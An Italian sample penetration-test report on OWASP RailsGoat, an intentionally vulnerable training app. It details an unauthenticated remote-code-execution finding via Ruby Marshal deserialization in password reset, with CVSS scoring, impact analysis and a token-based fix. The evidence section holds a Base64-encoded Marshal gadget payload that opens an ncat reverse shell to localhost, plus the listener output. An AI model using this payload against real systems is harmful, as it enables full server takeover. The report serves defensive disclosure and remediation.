Executive summary
Una pagina per il management con la postura complessiva e cosa sistemare prima del rilascio.
Report di esempio
Un estratto di report costruito sulla valutazione di OWASP RailsGoat, un’applicazione intenzionalmente vulnerabile. Mostra la struttura, la scala di severità e un finding di Remote Code Execution per intero: lo stesso formato che ricevi dopo un incarico reale, senza usare dati di clienti.
Cosa contiene
Ogni finding dà ai tuoi sviluppatori i passi per riprodurlo e la modifica che lo corregge.
Una pagina per il management con la postura complessiva e cosa sistemare prima del rilascio.
Il componente colpito, cosa serve all’attaccante, i passi di riproduzione numerati e gli estratti di richieste e risposte.
Quali dati o azioni sono esposti e a quali ruoli, con una severità basata su quanto osservato davvero.
Come correggere il problema e dove lo stesso pattern potrebbe ripresentarsi. Quando il fix è rilasciato si aggiunge l’esito del retest.
Ambiente dimostrativo
RailsGoat è un’applicazione open source intenzionalmente vulnerabile realizzata da OWASP per la formazione. Il finding qui sotto deriva dalla sua vulnerabilità di Remote Code Execution documentata pubblicamente; non è mostrato nessun cliente o sistema reale.
Executive summary
Il report si apre con una pagina per la direzione, con la postura complessiva e i rischi principali prima di ogni dettaglio tecnico.
Pagina di esempio
Questa etichetta sintetizza la postura complessiva dell’ambiente valutato, considerando severità, sfruttabilità e impatto dei rischi osservati.
La postura complessiva di sicurezza di RailsGoat è un’esposizione critica. La valutazione ha rilevato una debolezza nel recupero password che può consentire l’esecuzione di codice da remoto e una compromissione completa del servizio, dei dati e dei segreti accessibili all’applicazione. Il problema deve essere risolto prima di qualsiasi rilascio in produzione.
Le altre aree vulnerabili aumentano il rischio di compromissione degli account e l’impatto di un accesso operativo. La prima priorità è il recupero password, seguita da un retest che confermi il fix.
| 01 | Tenere RailsGoat isolato. Ruotare le credenziali a cui l’applicazione potrebbe accedere. |
|---|---|
| 02 | Sostituire il flusso di reset. Usare un token generato dal server che l’utente non può manipolare, e verificarlo prima del rilascio. |
| 03 | Prenotare un retest. Far verificare il fix da un tester indipendente. |
Ambito dell’estratto: la funzione di recupero password di OWASP RailsGoat.
A colpo d’occhio
Panoramica teorica delle 13 vulnerabilità RailsGoat, raggruppate per categoria tecnica e criticità stimata.
Pagina di esempio
L’inventario tecnico comprende 13 vulnerabilità, con una stima teorica della severità:
Un finding, per intero
Il finding RailsGoat completo, dalla causa e dalle evidenze fino al fix.
Pagina di esempio
| Complessità remediation | Media |
|---|---|
| Vettore CVSS | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-502 · Deserialization of Untrusted Data |
| OWASP | A08:2021 – Software and Data Integrity Failures |
| Componenti interessati |
Il flusso di reset della password accetta dal client il parametro user, lo decodifica da Base64 e lo passa direttamente a Marshal.load. Poiché Ruby Marshal può ricostruire grafi di oggetti arbitrari, un attaccante remoto può fornire un oggetto appositamente costruito e provocare l’esecuzione di comandi con i privilegi del processo Rails.
Endpoint raggiungibile via rete; nessuna autenticazione richiesta. L’attaccante deve solo ottenere una richiesta valida del flusso di reset e sostituire il campo serializzato prima dell’invio.
Percorso di attacco verificato nell’ambiente RailsGoat isolato:
Codice interessato app/controllers/password_resets_controller.rb:6; app/views/password_resets/reset_password.html.erb:12
Marshal.dump, lo codifica in Base64 e lo inserisce nel campo nascosto user, trasferendo al browser un oggetto che il server considera attendibile.POST /password_resets consente di sostituire il valore del campo user con un payload Marshal controllato dall’attaccante.Marshal.load(Base64.decode64(params[:user])) senza validazione dell’integrità o restrizioni sui tipi deserializzabili.ERB e ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy ha eseguito un comando di prova non distruttivo sul server, confermando il controllo del processo applicativo.POST /password_resets HTTP/1.1
Host: localhost:3000
Content-Type: application/x-www-form-urlencoded
Content-Length: 351
user=BAhvOkBBY3RpdmVTdXBwb3J0OjpEZXByZWNhdGlvbjo6RGVwcmVjYXRlZEluc3RhbmNlVmFyaWFibGVQcm94eQg6DkBpbnN0YW5jZW86CEVSQgg6CUBzcmNJIi9gbmNhdCAxMjcuMC4wLjEgMTIzNCAtdiAtZSAvYmluL2Jhc2ggMj4mMWAGOgZFVDoOQGZpbGVuYW1lSSIGMQY7CVQ6DEBsaW5lbm9pBjoMQG1ldGhvZDoLcmVzdWx0OhBAZGVwcmVjYXRvcm86GEJ1bmRsZXI6OlVJOjpTaWxlbnQGOg5Ad2FybmluZ3NbAA==&password=x&confirm_password=xHTTP/1.1 302 Found
Location: /login
$ ncat -lvp 1234 -k
Connection from 127.0.0.1.
whoami
perspicanRG-WEB-01 Valutazione tecnica
Un attaccante non autenticato può eseguire comandi nel contesto dell’applicazione Rails. Questo consente potenzialmente di leggere o modificare dati e segreti applicativi, alterare il servizio, muoversi verso risorse raggiungibili dal processo e interrompere l’applicazione. L’effettiva estensione oltre il container o l’host dipende dai privilegi e dalla segmentazione dell’ambiente di deploy.
La compromissione del processo applicativo può interrompere il servizio, esporre dati degli utenti e richiedere rotazione delle credenziali, analisi forense e comunicazioni agli stakeholder. Per un asset esposto, il rischio operativo è incompatibile con il rilascio.
L’attacco è raggiungibile via rete, non richiede autenticazione né interazione della vittima e, una volta costruito il payload, ha bassa complessità operativa. L’esecuzione di codice compromette completamente riservatezza, integrità e disponibilità nel contesto del processo Rails. La valutazione considera i privilegi del processo applicativo, non privilegi aggiuntivi sull’host.
Rimuovere la deserializzazione dal percorso di reset e sostituirla con un token opaco generato dal server. Il controller deve creare un token casuale, conservarne solo l’hash insieme a identità e scadenza, quindi inviare al browser esclusivamente il valore opaco. Alla conferma, cercare il token sul server, verificare scadenza e integrità, consumarlo in modo atomico e rifiutare ogni valore mancante o riutilizzato. Aggiornare il form per non serializzare più l’oggetto utente. Aggiungere test di regressione per payload Marshal arbitrari, token scaduti, token riutilizzati e mismatch tra token e utente.
# app/controllers/password_resets_controller.rb:6
# remove: user = Marshal.load(Base64.decode64(params[:user]))
token = SecureRandom.urlsafe_base64(32)
PasswordResetToken.issue!(user: user, token_digest: Digest::SHA256.hexdigest(token), expires_at: 15.minutes.from_now)
redirect_to reset_password_path(token: token)
# app/views/password_resets/reset_password.html.erb:12
# submit only the opaque token; never Marshal.dump the user object
# confirmation endpoint
reset = PasswordResetToken.consume!(params[:token])
return head :unprocessable_entity unless reset
# set the new password only after consume! succeedsNon testato
La vulnerabilità è stata riprodotta nell’ambiente di valutazione RailsGoat. Il retest non è stato eseguito.
Dimmi quali asset e ambienti includere e quando ti servono i risultati.
Preferisci scrivere direttamente? [email protected]